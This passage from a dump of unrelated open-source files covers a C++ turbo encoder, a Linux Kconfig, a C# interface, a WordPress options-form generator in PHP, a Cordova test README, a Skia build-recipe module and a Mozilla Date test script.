message;\n\t\tmessage << \"'enco_n.get_n_frames()' has to be equal to 'enco_i.get_n_frames()' ('enco_n.get_n_frames()' = \"\n\t\t << enco_n.get_n_frames() << \", 'enco_i.get_n_frames()' = \" << enco_i.get_n_frames() << \").\";\n\t\tthrow tools::invalid_argument(__FILE__, __LINE__, __func__, message.str());\n\t}\n}\n\n// [ AB ][ WnWi ][ YnYi ]\ntemplate <typename B>\nvoid Encoder_turbo_DB<B>\n::_encode(const B *U_K, B *X_N, const int frame_id)\n{\n\tstd::copy(U_K, U_K + this->K, U_K_cpy.begin() + frame_id * this->K);\n\n\tfor (auto i = 0; i < this->K; i+=4)\n\t\tstd::swap(U_K_cpy[frame_id * this->K +i], U_K_cpy[frame_id * this->K + i +1]);\n\n\tfor (auto i = 0; i < this->K; i += 2)\n\t{\n\t\tconst auto l = pi.get_core().get_lut_inv()[i >> 1];\n\t\tU_K_i[frame_id * this->K + i +0] = U_K_cpy[frame_id * this->K + l * 2 +0];\n\t\tU_K_i[frame_id * this->K + i +1] = U_K_cpy[frame_id * this->K + l * 2 +1];\n\t}\n\n\tenco_n.encode(U_K - frame_id * enco_n.get_K(), X_N_tmp.data(), frame_id);\n\n\tstd::copy(X_N_tmp.begin() + frame_id * enco_n.get_N() + enco_n.get_K(),\n\t X_N_tmp.begin() + frame_id * enco_n.get_N() + enco_n.get_N(),\n\t this->par_n.begin());\n\n\tenco_i.encode(U_K_i.data(), X_N_tmp.data(), frame_id);\n\n\tstd::copy(X_N_tmp.begin() + frame_id * enco_i.get_N() + enco_i.get_K(),\n\t X_N_tmp.begin() + frame_id * enco_i.get_N() + enco_i.get_N(),\n\t this->par_i.begin());\n\n\tstd::copy(U_K, U_K + this->K, X_N);\n\n\tauto j = this->K;\n\tfor (auto i = 0; i < this->K; i+=2) // parity y for both constituent encoders\n\t{\n\t\tX_N[j++] = par_n[i];\n\t\tX_N[j++] = par_i[i];\n\t}\n\n\tfor (auto i = 1; i < this->K; i+=2) // parity w for both constituent encoders\n\t{\n\t\tX_N[j++] = par_n[i];\n\t\tX_N[j++] = par_i[i];\n\t}\n}\n\ntemplate <typename B>\nbool Encoder_turbo_DB<B>\n::is_codeword(const B *X_N)\n{\n\tauto &U_K_n = X_N_tmp;\n\tstd::copy(X_N, X_N + this->K, U_K_n.begin());\n\n\tauto *X_N_par_n = X_N_tmp.data() + this->K;\n\tfor (auto i = 0; i < this->K; i+=2) // parity y for natural encoders\n\t{\n\t\tX_N_par_n[i +0] = X_N[1 * this->K + i +0];\n\t\tX_N_par_n[i +1] = X_N[2 * this->K + i +0];\n\t}\n\n\tif (!enco_n.is_codeword(X_N_tmp.data()))\n\t\treturn false;\n\n\tfor (auto i = 0; i < this->K; i += 4)\n\t\tstd::swap(U_K_n[i], U_K_n[i+1]);\n\n\tfor (auto i = 0; i < this->K; i += 2)\n\t{\n\t\tconst auto l = pi.get_core().get_lut_inv()[i >> 1];\n\t\tU_K_i[i +0] = U_K_n[l * 2 +0];\n\t\tU_K_i[i +1] = U_K_n[l * 2 +1];\n\t}\n\tstd::copy(U_K_i.begin(), U_K_i.begin() + this->K, X_N_tmp.begin());\n\n\tauto *X_N_par_i = X_N_tmp.data() + this->K;\n\tfor (auto i = 0; i < this->K; i+=2) // parity y for interleaver encoders\n\t{\n\t\tX_N_par_i[i +0] = X_N[1 * this->K + i +1];\n\t\tX_N_par_i[i +1] = X_N[2 * this->K + i +1];\n\t}\n\n\tif (!enco_i.is_codeword(X_N_tmp.data()))\n\t\treturn false;\n\n\treturn true;\n}\n\n// ==================================================================================== explicit template instantiation\n#include \"Tools/types.h\"\n#ifdef AFF3CT_MULTI_PREC\ntemplate class aff3ct::module::Encoder_turbo_DB<B_8>;\ntemplate class aff3ct::module::Encoder_turbo_DB<B_16>;\ntemplate class aff3ct::module::Encoder_turbo_DB<B_32>;\ntemplate class aff3ct::module::Encoder_turbo_DB<B_64>;\n#else\ntemplate class aff3ct::module::Encoder_turbo_DB<B>;\n#endif\n// ==================================================================================== explicit template instantiation\n"} {"text": "#\n# Exynos Video configuration\n#\n\nmenuconfig EXYNOS_VIDEO\n\tbool \"Exynos Video driver support\"\n\tdepends on ARCH_S5PV210 || ARCH_EXYNOS\n\thelp\n\t This enables support for EXYNOS Video device.\n\nif EXYNOS_VIDEO\n\n#\n# MIPI DSI driver\n#\n\nconfig EXYNOS_MIPI_DSI\n\tbool \"EXYNOS MIPI DSI driver support.\"\n\tselect GENERIC_PHY\n\thelp\n\t This enables support for MIPI-DSI device.\n\nconfig EXYNOS_LCD_S6E8AX0\n\tbool \"S6E8AX0 MIPI AMOLED LCD Driver\"\n\tdepends on EXYNOS_MIPI_DSI && BACKLIGHT_CLASS_DEVICE\n\tdepends on (LCD_CLASS_DEVICE = y)\n\tdefault n\n\thelp\n\t If you have an S6E8AX0 MIPI AMOLED LCD Panel, say Y to enable its\n\t LCD control driver.\n\nendif # EXYNOS_VIDEO\n"} {"text": "namespace MassTransit.Courier\r\n{\r\n using System.Threading.Tasks;\r\n\r\n\r\n public interface IExecuteActivity<in TArguments> :\r\n IExecuteActivity\r\n where TArguments : class\r\n {\r\n /// <summary>\r\n /// Execute the activity\r\n /// </summary>\r\n /// <param name=\"context\">The execution context</param>\r\n /// <returns>An execution result, created from the execution passed to the activity</returns>\r\n Task<ExecutionResult> Execute(ExecuteContext<TArguments> context);\r\n }\r\n\r\n\r\n /// <summary>\r\n /// Marker interface used to assist identification in IoC containers.\r\n /// Not to be used directly as it does not contain the message type of the\r\n /// consumer\r\n /// </summary>\r\n /// <remarks>\r\n /// Not to be used directly by application code, for internal reflection only\r\n /// </remarks>\r\n public interface IExecuteActivity\r\n {\r\n }\r\n}\r\n"} {"text": "<?php\n\n/**\n * Generates the options fields that are used in the form.\n */\n\nfunction optionsframework_fields() {\n\n\tglobal $allowedtags;\n\t$optionsframework_settings = get_option('optionsframework');\n\t\n\t// Get the theme name so we can display it up top\n\t$the_theme = wp_get_theme();\n\t$themename = $the_theme->Name;\n\n\t// Gets the unique option id\n\tif (isset($optionsframework_settings['id'])) {\n\t\t$option_name = $optionsframework_settings['id'];\n\t}\n\telse {\n\t\t$option_name = 'optionsframework';\n\t};\n\n\t$settings = get_option($option_name);\n $options = optionsframework_options();\n \n $counter = 0;\n\t$menu = '';\n\t$output = '';\n\t\n\tforeach ($options as $value) {\n\t \n\t\t$counter++;\n\t\t$val = '';\n\t\t$select_value = '';\n\t\t$checked = '';\n\t\t\n\t\t// Wrap all options\n\t\tif ( ($value['type'] != \"heading\") && ($value['type'] != \"info\") ) {\n\n\t\t\t// Keep all ids lowercase with no spaces\n\t\t\t$value['id'] = preg_replace('/[^a-zA-Z0-9._\\-]/', '', strtolower($value['id']) );\n\n\t\t\t$id = 'section-' . $value['id'];\n\n\t\t\t$class = 'section ';\n\t\t\tif ( isset( $value['type'] ) ) {\n\t\t\t\t$class .= ' section-' . $value['type'];\n\t\t\t}\n\t\t\tif ( isset( $value['class'] ) ) {\n\t\t\t\t$class .= ' ' . $value['class'];\n\t\t\t}\n\n\t\t\t$output .= '<div id=\"' . esc_attr( $id ) .'\" class=\"' . esc_attr( $class ) . '\">'.\"\\n\";\n\t\t\t$output .= '<h4 class=\"heading\">' . esc_html( $value['name'] ) . '</h4>' . \"\\n\";\n\t\t\t$output .= '<div class=\"option\">' . \"\\n\" . '<div class=\"controls\">' . \"\\n\";\n\t\t }\n\t\t\n\t\t// Set default value to $val\n\t\tif ( isset( $value['std']) ) {\n\t\t\t$val = $value['std'];\n\t\t}\n\t\t\n\t\t// If the option is already saved, ovveride $val\n\t\tif ( ($value['type'] != 'heading') && ($value['type'] != 'info')) {\n\t\t\tif ( isset($settings[($value['id'])]) ) {\n\t\t\t\t\t$val = $settings[($value['id'])];\n\t\t\t\t\t// Striping slashes of non-array options\n\t\t\t\t\tif (!is_array($val)) {\n\t\t\t\t\t\t$val = stripslashes($val);\n\t\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\t// If there is a description save it for labels\n\t\t$explain_value = '';\n\t\tif ( isset( $value['desc'] ) ) {\n\t\t\t$explain_value = $value['desc'];\n\t\t}\n\t\t \n\t\tswitch ( $value['type'] ) {\n\t\t\n\t\t// Basic text input\n\t\tcase 'text':\n\t\t\t$output .= '<input id=\"' . esc_attr( $value['id'] ) . '\" class=\"of-input\" name=\"' . esc_attr( $option_name . '[' . $value['id'] . ']' ) . '\" type=\"text\" value=\"' . esc_attr( $val ) . '\" />';\n\t\tbreak;\n\t\t\n\t\t// Textarea\n\t\tcase 'textarea':\n\t\t\t$cols = '8';\n\t\t\t$ta_value = '';\n\t\t\t\n\t\t\tif(isset($value['options'])){\n\t\t\t\t$ta_options = $value['options'];\n\t\t\t\tif(isset($ta_options['cols'])){\n\t\t\t\t\t$cols = $ta_options['cols'];\n\t\t\t\t} else { $cols = '8'; }\n\t\t\t}\n\t\t\t\n\t\t\t$val = stripslashes( $val );\n\t\t\t\n\t\t\t$output .= '<textarea id=\"' . esc_attr( $value['id'] ) . '\" class=\"of-input\" name=\"' . esc_attr( $option_name . '[' . $value['id'] . ']' ) . '\" cols=\"'. esc_attr( $cols ) . '\" rows=\"8\">' . esc_textarea( $val ) . '</textarea>';\n\t\tbreak;\n\t\t\n\t\t// Select Box\n\t\tcase ($value['type'] == 'select'):\n\t\t\t$output .= '<select class=\"of-input\" name=\"' . esc_attr( $option_name . '[' . $value['id'] . ']' ) . '\" id=\"' . esc_attr( $value['id'] ) . '\">';\n\t\t\t\n\t\t\tforeach ($value['options'] as $key => $option ) {\n\t\t\t\t$selected = '';\n\t\t\t\t if( $val != '' ) {\n\t\t\t\t\t if ( $val == $key) { $selected = ' selected=\"selected\"';} \n\t\t\t }\n\t\t\t\t $output .= '<option'. $selected .' value=\"' . esc_attr( $key ) . '\">' . esc_html( $option ) . '</option>';\n\t\t\t } \n\t\t\t $output .= '</select>';\n\t\tbreak;\n\n\t\t\n\t\t// Radio Box\n\t\tcase \"radio\":\n\t\t\t$name = $option_name .'['. $value['id'] .']';\n\t\t\tforeach ($value['options'] as $key => $option) {\n\t\t\t\t$id = $option_name . '-' . $value['id'] .'-'. $key;\n\t\t\t\t$output .= '<input class=\"of-input of-radio\" type=\"radio\" name=\"' . esc_attr( $name ) . '\" id=\"' . esc_attr( $id ) . '\" value=\"'. esc_attr( $key ) . '\" '. checked( $val, $key, false) .' /><label for=\"' . esc_attr( $id ) . '\">' . esc_html( $option ) . '</label>';\n\t\t\t}\n\t\tbreak;\n\t\t\n\t\t// Image Selectors\n\t\tcase \"images\":\n\t\t\t$name = $option_name .'['. $value['id'] .']';\n\t\t\tforeach ( $value['options'] as $key => $option ) {\n\t\t\t\t$selected = '';\n\t\t\t\t$checked = '';\n\t\t\t\tif ( $val != '' ) {\n\t\t\t\t\tif ( $val == $key ) {\n\t\t\t\t\t\t$selected = ' of-radio-img-selected';\n\t\t\t\t\t\t$checked = ' checked=\"checked\"';\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t$output .= '<input type=\"radio\" id=\"' . esc_attr( $value['id'] .'_'. $key) . '\" class=\"of-radio-img-radio\" value=\"' . esc_attr( $key ) . '\" name=\"' . esc_attr( $name ) . '\" '. $checked .' />';\n\t\t\t\t$output .= '<div class=\"of-radio-img-label\">' . esc_html( $key ) . '</div>';\n\t\t\t\t$output .= '<img src=\"' . esc_url( $option ) . '\" alt=\"' . $option .'\" class=\"of-radio-img-img' . $selected .'\" onclick=\"document.getElementById(\\''. esc_attr($value['id'] .'_'. $key) .'\\').checked=true;\" />';\n\t\t\t}\n\t\tbreak;\n\t\t\n\t\t// Checkbox\n\t\tcase \"checkbox\":\n\t\t\t$output .= '<input id=\"' . esc_attr( $value['id'] ) . '\" class=\"checkbox of-input\" type=\"checkbox\" name=\"' . esc_attr( $option_name . '[' . $value['id'] . ']' ) . '\" '. checked( $val, 1, false) .' />';\n\t\t\t$output .= '<label class=\"explain\" for=\"' . esc_attr( $value['id'] ) . '\">' . wp_kses( $explain_value, $allowedtags) . '</label>';\n\t\tbreak;\n\t\t\n\t\t// Multicheck\n\t\tcase \"multicheck\":\n\t\t\tforeach ($value['options'] as $key => $option) {\n\t\t\t\t$checked = '';\n\t\t\t\t$label = $option;\n\t\t\t\t$option = preg_replace('/[^a-zA-Z0-9._\\-]/', '', strtolower($key));\n\n\t\t\t\t$id = $option_name . '-' . $value['id'] . '-'. $option;\n\t\t\t\t$name = $option_name . '[' . $value['id'] . '][' . $option .']';\n\n\t\t\t if ( isset($val[$option]) ) {\n\t\t\t\t\t$checked = checked($val[$option], 1, false);\n\t\t\t\t}\n\n\t\t\t\t$output .= '<input id=\"' . esc_attr( $id ) . '\" class=\"checkbox of-input\" type=\"checkbox\" name=\"' . esc_attr( $name ) . '\" ' . $checked . ' /><label for=\"' . esc_attr( $id ) . '\">' . esc_html( $label ) . '</label>';\n\t\t\t}\n\t\tbreak;\n\t\t\n\t\t// Color picker\n\t\tcase \"color\":\n\t\t\t$output .= '<div id=\"' . esc_attr( $value['id'] . '_picker' ) . '\" class=\"colorSelector\"><div style=\"' . esc_attr( 'background-color:' . $val ) . '\"></div></div>';\n\t\t\t$output .= '<input class=\"of-color\" name=\"' . esc_attr( $option_name . '[' . $value['id'] . ']' ) . '\" id=\"' . esc_attr( $value['id'] ) . '\" type=\"text\" value=\"' . esc_attr( $val ) . '\" />';\n\t\tbreak; \n\t\t\n\t\t// Uploader\n\t\tcase \"upload\":\n\t\t\t$output .= optionsframework_medialibrary_uploader( $value['id'], $val, null ); // New AJAX Uploader using Media Library\t\n\t\tbreak;\n\t\t\n\t\t// Typography\n\t\tcase 'typography':\t\n\t\t\n\t\t\t$typography_stored = $val;\n\t\t\t\n\t\t\t// Font Size\n\t\t\t$output .= '<select class=\"of-typography of-typography-size\" name=\"' . esc_attr( $option_name . '[' . $value['id'] . '][size]' ) . '\" id=\"' . esc_attr( $value['id'] . '_size' ) . '\">';\n\t\t\tfor ($i = 9; $i < 71; $i++) { \n\t\t\t\t$size = $i . 'px';\n\t\t\t\t$output .= '<option value=\"' . esc_attr( $size ) . '\" ' . selected( $typography_stored['size'], $size, false ) . '>' . esc_html( $size ) . '</option>';\n\t\t\t}\n\t\t\t$output .= '</select>';\n\t\t\n\t\t\t// Font Face\n\t\t\t$output .= '<select class=\"of-typography of-typography-face\" name=\"' . esc_attr( $option_name . '[' . $value['id'] . '][face]' ) . '\" id=\"' . esc_attr( $value['id'] . '_face' ) . '\">';\n\t\t\t\n\t\t\t$faces = of_recognized_font_faces();\n\t\t\tforeach ( $faces as $key => $face ) {\n\t\t\t\t$output .= '<option value=\"' . esc_attr( $key ) . '\" ' . selected( $typography_stored['face'], $key, false ) . '>' . esc_html( $face ) . '</option>';\n\t\t\t}\t\t\t\n\t\t\t\n\t\t\t$output .= '</select>';\t\n\n\t\t\t// Font Weight\n\t\t\t$output .= '<select class=\"of-typography of-typography-style\" name=\"'.$option_name.'['.$value['id'].'][style]\" id=\"'. $value['id'].'_style\">';\n\n\t\t\t/* Font Style */\n\t\t\t$styles = of_recognized_font_styles();\n\t\t\tforeach ( $styles as $key => $style ) {\n\t\t\t\t$output .= '<option value=\"' . esc_attr( $key ) . '\" ' . selected( $typography_stored['style'], $key, false ) . '>'. $style .'</option>';\n\t\t\t}\n\t\t\t$output .= '</select>';\n\n\t\t\t// Font Color\t\t\n\t\t\t$output .= '<div id=\"' . esc_attr( $value['id'] ) . '_color_picker\" class=\"colorSelector\"><div style=\"' . esc_attr( 'background-color:' . $typography_stored['color'] ) . '\"></div></div>';\n\t\t\t$output .= '<input class=\"of-color of-typography of-typography-color\" name=\"' . esc_attr( $option_name . '[' . $value['id'] . '][color]' ) . '\" id=\"' . esc_attr( $value['id'] . '_color' ) . '\" type=\"text\" value=\"' . esc_attr( $typography_stored['color'] ) . '\" />';\n\n\t\tbreak;\n\t\t\n\t\t// WPBS Typography - removed font size from std typography set of fields\n\t\t\t\tcase 'wpbs_typography':\t\n\t\t\t\t\n\t\t\t\t\t$wpbs_typography_stored = $val;\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t// Font Face\n\t\t\t\t\t$output .= '<select class=\"of-typography of-typography-face\" name=\"' . esc_attr( $option_name . '[' . $value['id'] . '][face]' ) . '\" id=\"' . esc_attr( $value['id'] . '_face' ) . '\">';\n\t\t\t\t\t\n\t\t\t\t\t$faces = of_recognized_font_faces();\n\t\t\t\t\tforeach ( $faces as $key => $face ) {\n\t\t\t\t\t\t$output .= '<option value=\"' . esc_attr( $key ) . '\" ' . selected( $wpbs_typography_stored['face'], $key, false ) . '>' . esc_html( $face ) . '</option>';\n\t\t\t\t\t}\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t$output .= '</select>';\t\n\t\t\n\t\t\t\t\t// Font Weight\n\t\t\t\t\t$output .= '<select class=\"of-typography of-typography-style\" name=\"'.$option_name.'['.$value['id'].'][style]\" id=\"'. $value['id'].'_style\">';\n\t\t\n\t\t\t\t\t/* Font Style */\n\t\t\t\t\t$styles = of_recognized_font_styles();\n\t\t\t\t\tforeach ( $styles as $key => $style ) {\n\t\t\t\t\t\t$output .= '<option value=\"' . esc_attr( $key ) . '\" ' . selected( $wpbs_typography_stored['style'], $key, false ) . '>'. $style .'</option>';\n\t\t\t\t\t}\n\t\t\t\t\t$output .= '</select>';\n\t\t\n\t\t\t\t\t// Font Color\t\t\n\t\t\t\t\t$output .= '<div id=\"' . esc_attr( $value['id'] ) . '_color_picker\" class=\"colorSelector\"><div style=\"' . esc_attr( 'background-color:' . $wpbs_typography_stored['color'] ) . '\"></div></div>';\n\t\t\t\t\t$output .= '<input class=\"of-color of-typography of-typography-color\" name=\"' . esc_attr( $option_name . '[' . $value['id'] . '][color]' ) . '\" id=\"' . esc_attr( $value['id'] . '_color' ) . '\" type=\"text\" value=\"' . esc_attr( $wpbs_typography_stored['color'] ) . '\" />';\n\t\t\n\t\t\t\tbreak;\n\t\t\n\t\t// Background\n\t\tcase 'background':\n\t\t\t\n\t\t\t$background = $val;\n\t\t\t\n\t\t\t// Background Color\t\t\n\t\t\t$output .= '<div id=\"' . esc_attr( $value['id'] ) . '_color_picker\" class=\"colorSelector\"><div style=\"' . esc_attr( 'background-color:' . $background['color'] ) . '\"></div></div>';\n\t\t\t$output .= '<input class=\"of-color of-background of-background-color\" name=\"' . esc_attr( $option_name . '[' . $value['id'] . '][color]' ) . '\" id=\"' . esc_attr( $value['id'] . '_color' ) . '\" type=\"text\" value=\"' . esc_attr( $background['color'] ) . '\" />';\n\t\t\t\n\t\t\t// Background Image - New AJAX Uploader using Media Library\n\t\t\tif (!isset($background['image'])) {\n\t\t\t\t$background['image'] = '';\n\t\t\t}\n\t\t\t\n\t\t\t$output .= optionsframework_medialibrary_uploader( $value['id'], $background['image'], null, '',0,'image');\n\t\t\t$class = 'of-background-properties';\n\t\t\tif ( '' == $background['image'] ) {\n\t\t\t\t$class .= ' hide';\n\t\t\t}\n\t\t\t$output .= '<div class=\"' . esc_attr( $class ) . '\">';\n\t\t\t\n\t\t\t// Background Repeat\n\t\t\t$output .= '<select class=\"of-background of-background-repeat\" name=\"' . esc_attr( $option_name . '[' . $value['id'] . '][repeat]' ) . '\" id=\"' . esc_attr( $value['id'] . '_repeat' ) . '\">';\n\t\t\t$repeats = of_recognized_background_repeat();\n\t\t\t\n\t\t\tforeach ($repeats as $key => $repeat) {\n\t\t\t\t$output .= '<option value=\"' . esc_attr( $key ) . '\" ' . selected( $background['repeat'], $key, false ) . '>'. esc_html( $repeat ) . '</option>';\n\t\t\t}\n\t\t\t$output .= '</select>';\n\t\t\t\n\t\t\t// Background Position\n\t\t\t$output .= '<select class=\"of-background of-background-position\" name=\"' . esc_attr( $option_name . '[' . $value['id'] . '][position]' ) . '\" id=\"' . esc_attr( $value['id'] . '_position' ) . '\">';\n\t\t\t$positions = of_recognized_background_position();\n\t\t\t\n\t\t\tforeach ($positions as $key=>$position) {\n\t\t\t\t$output .= '<option value=\"' . esc_attr( $key ) . '\" ' . selected( $background['position'], $key, false ) . '>'. esc_html( $position ) . '</option>';\n\t\t\t}\n\t\t\t$output .= '</select>';\n\t\t\t\n\t\t\t// Background Attachment\n\t\t\t$output .= '<select class=\"of-background of-background-attachment\" name=\"' . esc_attr( $option_name . '[' . $value['id'] . '][attachment]' ) . '\" id=\"' . esc_attr( $value['id'] . '_attachment' ) . '\">';\n\t\t\t$attachments = of_recognized_background_attachment();\n\t\t\t\n\t\t\tforeach ($attachments as $key => $attachment) {\n\t\t\t\t$output .= '<option value=\"' . esc_attr( $key ) . '\" ' . selected( $background['attachment'], $key, false ) . '>' . esc_html( $attachment ) . '</option>';\n\t\t\t}\n\t\t\t$output .= '</select>';\n\t\t\t$output .= '</div>';\n\t\t\n\t\tbreak; \n\t\t\n\t\t// Info\n\t\tcase \"info\":\n\t\t\t$class = 'section';\n\t\t\tif ( isset( $value['type'] ) ) {\n\t\t\t\t$class .= ' section-' . $value['type'];\n\t\t\t}\n\t\t\tif ( isset( $value['class'] ) ) {\n\t\t\t\t$class .= ' ' . $value['class'];\n\t\t\t}\n\n\t\t\t$output .= '<div class=\"' . esc_attr( $class ) . '\">' . \"\\n\";\n\t\t\tif ( isset($value['name']) ) {\n\t\t\t\t$output .= '<h4 class=\"heading\">' . esc_html( $value['name'] ) . '</h4>' . \"\\n\";\n\t\t\t}\n\t\t\tif ( $value['desc'] ) {\n\t\t\t\t$output .= apply_filters('of_sanitize_info', $value['desc'] ) . \"\\n\";\n\t\t\t}\n\t\t\t$output .= '<div class=\"clear\"></div></div>' . \"\\n\";\n\t\tbreak; \n\t\t\n\t\t// Heading for Navigation\n\t\tcase \"heading\":\n\t\t\tif ($counter >= 2) {\n\t\t\t $output .= '</div>'.\"\\n\";\n\t\t\t}\n\t\t\t$jquery_click_hook = preg_replace('/[^a-zA-Z0-9._\\-]/', '', strtolower($value['name']) );\n\t\t\t$jquery_click_hook = \"of-option-\" . $jquery_click_hook;\n\t\t\t$menu .= '<a id=\"'. esc_attr( $jquery_click_hook ) . '-tab\" class=\"nav-tab\" title=\"' . esc_attr( $value['name'] ) . '\" href=\"' . esc_attr( '#'. $jquery_click_hook ) . '\">' . esc_html( $value['name'] ) . '</a>';\n\t\t\t$output .= '<div class=\"group\" id=\"' . esc_attr( $jquery_click_hook ) . '\">';\n\t\t\t$output .= '<h3>' . esc_html( $value['name'] ) . '</h3>' . \"\\n\";\n\t\t\tbreak;\n\t\t}\n\n\t\tif ( ( $value['type'] != \"heading\" ) && ( $value['type'] != \"info\" ) ) {\n\t\t\tif ( $value['type'] != \"checkbox\" ) {\n\t\t\t\t$output .= '<br/>';\n\t\t\t}\n\t\t\t$output .= '</div>';\n\t\t\tif ( $value['type'] != \"checkbox\" ) {\n\t\t\t\t$output .= '<div class=\"explain\">' . wp_kses( $explain_value, $allowedtags) . '</div>'.\"\\n\";\n\t\t\t}\n\t\t\t$output .= '<div class=\"clear\"></div></div></div>'.\"\\n\";\n\t\t}\n\t}\n $output .= '</div>';\n return array($output,$menu);\n}"} {"text": "<!--\n# license: Licensed to the Apache Software Foundation (ASF) under one\n# or more contributor license agreements. See the NOTICE file\n# distributed with this work for additional information\n# regarding copyright ownership. The ASF licenses this file\n# to you under the Apache License, Version 2.0 (the\n# \"License\"); you may not use this file except in compliance\n# with the License. You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing,\n# software distributed under the License is distributed on an\n# \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n# KIND, either express or implied. See the License for the\n# specific language governing permissions and limitations\n# under the License.\n-->\n\n# Test di iOS per CDVSplashScreen\n\nÈ necessario installare `node. js` per tirare in `cordova-ios`.\n\nIn primo luogo installare cordova-ios:\n\n npm install\n \n\n... nella cartella corrente.\n\n# Test da Xcode\n\n 1. Lanciare il file `CDVSplashScreenTest.xcworkspace` .\n 2. Scegli \"CDVSplashScreenLibTests\" dal menu a discesa Schema\n 3. Fare clic e tenere premuto il pulsante `Play` e scegliere l'icona della `chiave inglese` per eseguire i test\n\n# Test dalla riga di comando\n\n npm test\n"} {"text": "# Copyright 2016 The Chromium Authors. All rights reserved.\n# Use of this source code is governed by a BSD-style license that can be\n# found in the LICENSE file.\n\n\n# pylint: disable=W0201\n\n\nfrom recipe_engine import recipe_api\n\n\nTEST_DEFAULT_ASSET_VERSION = '42'\n\nclass SkiaStepApi(recipe_api.RecipeApi):\n\n def __init__(self, *args, **kwargs):\n \"\"\"Initialize the recipe module.\"\"\"\n super(SkiaStepApi, self).__init__(*args, **kwargs)\n\n self._already_ran = {}\n self._ccache = None\n self._checked_for_ccache = False\n self._failed = []\n\n def check_failure(self):\n \"\"\"Raise an exception if any step failed.\"\"\"\n if self._failed:\n raise self.m.step.StepFailure('Failed build steps: %s' %\n ', '.join([f.name for f in self._failed]))\n\n @property\n def failed_steps(self):\n return self._failed[:]\n\n def run_once(self, fn, *args, **kwargs):\n if not fn.__name__ in self._already_ran:\n self._already_ran[fn.__name__] = fn(*args, **kwargs)\n return self._already_ran[fn.__name__]\n\n def readfile(self, filename, *args, **kwargs):\n \"\"\"Convenience function for reading files.\"\"\"\n name = kwargs.pop('name', 'read %s' % self.m.path.basename(filename))\n return self.m.file.read_text(name, filename, *args, **kwargs)\n\n def writefile(self, filename, contents):\n \"\"\"Convenience function for writing files.\"\"\"\n return self.m.file.write_text('write %s' % self.m.path.basename(filename),\n filename, contents)\n\n def rmtree(self, path):\n \"\"\"Wrapper around api.file.rmtree.\"\"\"\n self.m.file.rmtree('rmtree %s' % self.m.path.basename(path), path)\n\n def asset_version(self, asset_name, skia_dir, test_data=None):\n \"\"\"Return the contents of VERSION for the given asset as a string.\n\n If test_data is not specified, reads the property\n 'test_<asset_name>_version' or if not present, uses\n TEST_DEFAULT_ASSET_VERSION.\"\"\"\n version_file = skia_dir.join(\n 'infra', 'bots', 'assets', asset_name, 'VERSION')\n if not test_data:\n test_data = self.m.properties.get(\n 'test_%s_version' % asset_name, TEST_DEFAULT_ASSET_VERSION)\n return self.m.file.read_text('Get %s VERSION' % asset_name,\n version_file,\n test_data=test_data).rstrip()\n\n def __call__(self, steptype, name, abort_on_failure=True,\n fail_build_on_failure=True, **kwargs):\n \"\"\"Run a step. If it fails, keep going but mark the build status failed.\"\"\"\n try:\n with self.m.env(self.m.vars.default_env):\n return steptype(name=name, **kwargs)\n except self.m.step.StepFailure as e:\n if fail_build_on_failure:\n self._failed.append(e)\n if abort_on_failure:\n raise\n\n def with_retry(self, steptype, name, attempts, between_attempts_fn=None,\n abort_on_failure=True, fail_build_on_failure=True, **kwargs):\n for attempt in xrange(attempts):\n step_name = name\n if attempt > 0:\n step_name += ' (attempt %d)' % (attempt + 1)\n try:\n res = self(steptype, name=step_name, abort_on_failure=True,\n fail_build_on_failure=fail_build_on_failure, **kwargs)\n if attempt > 0 and fail_build_on_failure:\n del self._failed[-attempt:]\n return res\n except self.m.step.StepFailure:\n if attempt == attempts - 1:\n if abort_on_failure:\n raise\n elif between_attempts_fn:\n between_attempts_fn(attempt+1)\n"} {"text": "/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */\n/* This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http://mozilla.org/MPL/2.0/. */\n\ngTestfile = '15.9.5.23-12.js';\n\n/**\n File Name: 15.9.5.23-1.js\n ECMA Section: 15.9.5.23 Date.prototype.setTime(time)\n Description:\n\n 1. If the this value is not a Date object, generate a runtime error.\n 2. Call ToNumber(time).\n 3. Call TimeClip(Result(1)).\n 4. Set the [[Value]] property of the this value to Result(2).\n 5. Return the value of the [[Value]] property of the this value.\n\n Author: christine@netscape.com\n Date: 12 november 1997\n\n*/\nvar SECTION = \"15.9.5.23-1\";\nvar VERSION = \"ECMA_1\";\nstartTest();\nvar TITLE = \"Date.prototype.setTime()\";\n\nwriteHeaderToLog( SECTION + \" Date.prototype.setTime(time)\");\n\nvar now = \"now\";\naddTestCase( now, 946684800000 );\n\ntest();\n\nfunction addTestCase( startTime, setTime ) {\n if ( startTime == \"now\" ) {\n DateCase = new Date();\n } else {\n DateCase = new Date( startTime );\n }\n\n DateCase.setTime( setTime );\n var DateString = \"var d = new Date(\"+startTime+\"); d.setTime(\"+setTime+\"); d\" ;\n var UTCDate = UTCDateFromTime ( Number(setTime) );\n var LocalDate = LocalDateFromTime( Number(setTime) );\n\n new TestCase( SECTION, DateString+\".getTime()\", UTCDate.value, DateCase.getTime() );\n new TestCase( SECTION, DateString+\".valueOf()\", UTCDate.value, DateCase.valueOf() );\n\n new TestCase( SECTION, DateString+\".getUTCFullYear()\", UTCDate.year, DateCase.getUTCFullYear() );\n new TestCase( SECTION, DateString+\".getUTCMonth()\", UTCDate.month, DateCase.getUTCMonth() );\n new TestCase( SECTION, DateString+\".getUTCDate()\", UTCDate.date, DateCase.getUTCDate() );\n new TestCase( SECTION, DateString+\".getUTCDay()\", UTCDate.day, DateCase.getUTCDay() );\n new TestCase( SECTION, DateString+\".getUTCHours()\", UTCDate.hours, DateCase.getUTCHours() );\n new TestCase( SECTION, DateString+\".getUTCMinutes()\", UTCDate.minutes, DateCase.getUTCMinutes() );\n new TestCase( SECTION, DateString+\".getUTCSeconds()\", UTCDate.seconds, DateCase.getUTCSeconds() );\n new TestCase( SECTION, DateString+\".getUTCMilliseconds()\", UTCDate.ms, DateCase.getUTCMilliseconds() );\n\n new TestCase( SECTION, DateString+\".getFullYear()\", LocalDate.year, DateCase.getFullYear() );\n new TestCase( SECTION, 